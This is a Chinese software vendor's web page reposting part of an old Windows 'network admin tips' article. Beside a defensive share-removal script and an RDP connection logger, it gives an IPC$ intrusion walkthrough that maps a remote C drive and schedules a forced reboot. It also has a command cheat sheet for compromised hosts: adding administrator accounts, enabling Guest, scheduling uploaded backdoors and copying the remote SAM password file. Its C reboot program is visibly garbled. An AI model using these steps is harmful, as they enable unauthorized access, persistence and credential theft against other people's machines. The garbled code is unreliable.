请选择语言    繁体中文 English 
 
   
网站首页 · 解决方案 · 产品介绍 · 下载中心 · 公司资讯 · 典型客户 · 最新客户 · 购买流程 · 联系我们
 聚生网管产品
 聚生网管系统简介
 聚生网管功能列表
 聚生网管功能截图
 聚生网管技术优势
 聚生网管与众不同
 网络特警产品
 网络特警背景简介
 网络特警核心理念
 网络特警核心优势
 网络特警独特架构
 网络特警功能列表
 网络特警服务体系
 与聚生网管之关系
 与同类产品之对比
 配套产品
 商用安全计算机
 共享文件监视器
 代理服务扫描器
 主机异常警报器
 混杂模式扫描器
 外来电脑隔离器
 远程开关机工具

 聚生网管服务热线
010-82825051
010-82825052
010-82825512
010-62961005
 
 
     新 闻 中 心
网管知识大全3
双击自动滚屏 发布时间:2009-2-25 9:28:50 阅读:1次 【字体:
相关链接:聚生网管禁止迅雷下载、限制QQ游戏、封堵炒股、限制网速国内最强,使用最简单!点击这里了解更多!

21)如何删除windows2K的默认贡献?
  
   首先打开记事本,输入如下内容:
  
   net share c$ /delete
   net share d$ /delete
   net share e$ /delete
   net share f$ /delete
   net share g$ /delete
   net share ipc$ /delete
   net share admin$ /delete
  
   这里的c$、d$、e$……是代表默认共享的盘符~又几个就设置几个就可以了~
  
   之后点击保存成批处理文件(后缀为:bat的文件!)!加入到启动组中就可以了~
  
   22)139端口的又一用法
  
   呵呵,写这个帖子的原因是因为我答应给一个朋友回复139端口的作用来着……先声明两点:1)不要利用本帖所提到的方法去搞恶意破坏!2)呵呵,可能许多人已经知道了139端口这个用法了~本文只想起到一个抛砖引玉的作用!
  
   废话不多说了~开始:
  
   如果你使用NT主机的话,那你可要注意了!
   重启NT主机的方法如下:
  
   1:Net use \\XXX.XXX.XXX.XXX\ipc$ "password" /user:"username"
   建立一个IPC连接
  
   2:net use H: \\XXX.XXX.XXX.XXX\C$
   将对方的C盘映射为自己的h盘
  
   3:copy c on h:\reboot.bat
   Iisreset /reboot
   CTRL+Z
   在对方的C盘上生成一个能重启机器的文件
  
   4:net time \\XXX.XXX.XXX.XXX
   得到对方机器时间
  
   5:at \\XXX.XXX.XXX.XXX 重启的时间 c:\reboot.bat
   设定对方重启的时间!
  
   6:at \\XXX.XXX.XXX.XXX
   查看任务上面是否添加了这个任务
  
   7:等对方重启好了~
  
   上面的第三步是only for Win2K的,如果是Nt,就需要用意个指定的重启程序,我们可以自己编写一个reboot.exe来代替reboot.bat,代码如下:
   #include "stdio.h"
   #include "windows.h"
   int main()
   {
   文件://定义重启的时候发送给所有用户的消息
   LPSTR msg="Reboot Tool By LionHook\nhttp://www.xici.net";;
   文件://尝试用最简单的API函数重启
   if(ExitWindowXXX(EWX_REBOOT.0))return TRUE;
   if(ExitWindowXXX(EWX_REBOOT | EWX_FORCE,0))return TRUE;
   文件://因为上面的重启不成功,所以需要调整本进程的特权
   HANDLE hToken;
   TOKEN_PRIVILEGES tkp;
   if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |TOKEN_QUERY,&hToken)) return FALSE;
   文件://获取重启的特权 SE_SHUTDOWN_NAME
   LookupPrivilegevalues(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
   tkp.PrivilegeCount=1;
   tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
   AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(POTKEN_PRIVILEGES)NULL,0);
   文件://判断是NT内核还是9X内核,选择用不同的方式
   if(!GetVersion()& 0x80000000))
   InitiateSystemShutdown(NULL,msg,20,TRUE,TRUE);
   else if (!ExitWindowXXX(EWX_REBOOT,0))
   if(!ExitWindowXXX(EWX_REBOOT|EWX_FORCE,0))
   return FALSE;
   return TRUE;
  
   对了,再次说明啊,别用本文提到的方法搞破坏,小心警察叔叔打PP~呵呵
  
   23)利用批处理文件来建立一个记录3389登陆者信息的记录器
  
   由于Terminal Service默认是没有日志记录的,只能依靠他的系统日志,但是系统日志只能记录一些大动作(开启或停止服务),那么,如何用批处理文件来编写一个将是3389端口的程序呢?很简单:
  
   建立一个批处理文件:内容如下:
  
   @echo off
   date/t >> c:\3389log.txt
   :TS3389
   time/t >> c:\3389log.txt
   netstat -an | find "3389" |find "ESTABLISHED" >>c:\3389log.txt
   goto :TS3389
  
   之后保存!
  
   如果有人用你的3389登陆你的机器,呵呵,在c盘下就有3389log.txt这个文件!记录了当天日志,还有连接时间……资料~开始反击~呵呵
  
   24)网络命令小节
  
   A、NET命令:
  
   IPC连接:格式 net use \\对方IP\ipc$ "密码" user:"用户名" 『建立IPC连接~』
   net use \\对方IP\ipc$ /delete 『断开连接~』
  
   以下操作需要在连接到对方主机后才可进行!!!
  
   net user coldcrysky xyz /add 『在连接的目标主机中加入一个用户名为COLDCRYSKY 密码为WYZ的用户』
  
   net localgroup Administrator coldcrysky /add 『把名为coldcrysky的用户加入ADMIN组-以为着权限的提高啊!!!^_^』
  
   net use z:\\对方IP\C$ 『把对方的C盘映射为本机的Z盘-可依照需要更改映射盘符!』
   net start telnet 『开启TELNET』
   net user guest /active:yes 『激活GUEST』
   net user guest coldcrysky 『把GUEST密码改为COLDCRYSKY』
  
   B、AT命令:
  
   查看远程机时间:net time \\对方IP
  
   加入一项新任务:
  
   at \\对方IP 时间 文件名 『用来把自己上传的后门程序在制定时间运行,方便以后进入肉鸡!』
  
   C、TELNET命令:
  
   telnet 对方IP 端口 『作用不用我说了吧???』
  
   D、FTP命令:
  
   登陆:ftp 对方网址(IP地址)
  
   上传文件:get 文件在本机完整路径 对方文件存放完整路径
  
   下载文件:put 对方文件完整路径 本机存放文件路径
  
   E、COPY命令:
  
   在建立连接后(尤其是IPC$连接后,很有用的命令哦~)
  
   ⑴copy index.htm \\127.0.0.1\c$\index.htm
  
   『将本机index.htm文件复制到127.0.0.1的C盘下,如果要放到对方的NT目录下,则把C改为admin$』
  
   ⑵copy \\127.0.0.1\admin\repair\sam_ c: 『将远程机数据库文件拷贝到本机C盘根目录下』F、SET命令:
  
   主要用于分析目标计算机的基本信息用!具体使用方法请查找相关文件!
  
   G、NBTSTAT命令:
  
   nbtstat -A 对方IP (这个A大写)
  
   『在其中显示前面的英文或数字就是计算机名称!当然,也可以利用PING -A 对方ip的方法来查看对方主机名!效果相同!!!』
  
   H、SHUTDOWN命令:
  
   『用来关闭对方NT服务的命令』格式如下:
   shutdown \\IP地址 t:20
   『20秒后自动关闭对方NT服务!由于对对方机器影响较大,慎用!!!』
  
   I、DIR命令:
  
   还用我说么?大家是不是早就该掌握了???(不知道的还是查阅相关资料吧~~~)
  
   J、ECHO命令:
  
   echo coldcrysky >index.htm 『用coldcrysky覆盖掉原INDEX.HTM中所有内容』
   echo coldcrysky >>index.htm 『把coldcrysky加入到index.htm中』
  
   K、ATTRIB命令:
  
   更改文件属性用,格式:
   Attrib -r index.htm 『去掉只读属性』(+- 分别代表增加和减少)

总之,网络管理知识,网络管理经验,网络管理手段,网络管理案例,网络控制技术,网络管理技术,网络管理思路,网络管理方案,网络管理教训,网络管理出路,网络管理趋势,网络管理前沿,网络管理工具,网络管理系统首选聚生网管上网管理软件,可以有效禁止局域网迅雷下载,禁止局域网聊天,禁止局域网炒股,限制局域网玩游戏,过滤局域网网站访问等。

聚生网管上网监控软件功能介绍:http://www.grabsun.com/ProductShow104.htm

即可下载聚生网管试用:http://www.grabsun.com/download/grabsun.rar


 

相关链接:聚生网管专业禁止BT下载、限制QQ、封堵大智慧,屏蔽QQ游戏,防ARP欺骗!点击这里查看详情!
打印本页 || 关闭窗口

版权所有 2005-2008 聚生网管公司 版权所有,盗版必究
京ICP备05068297号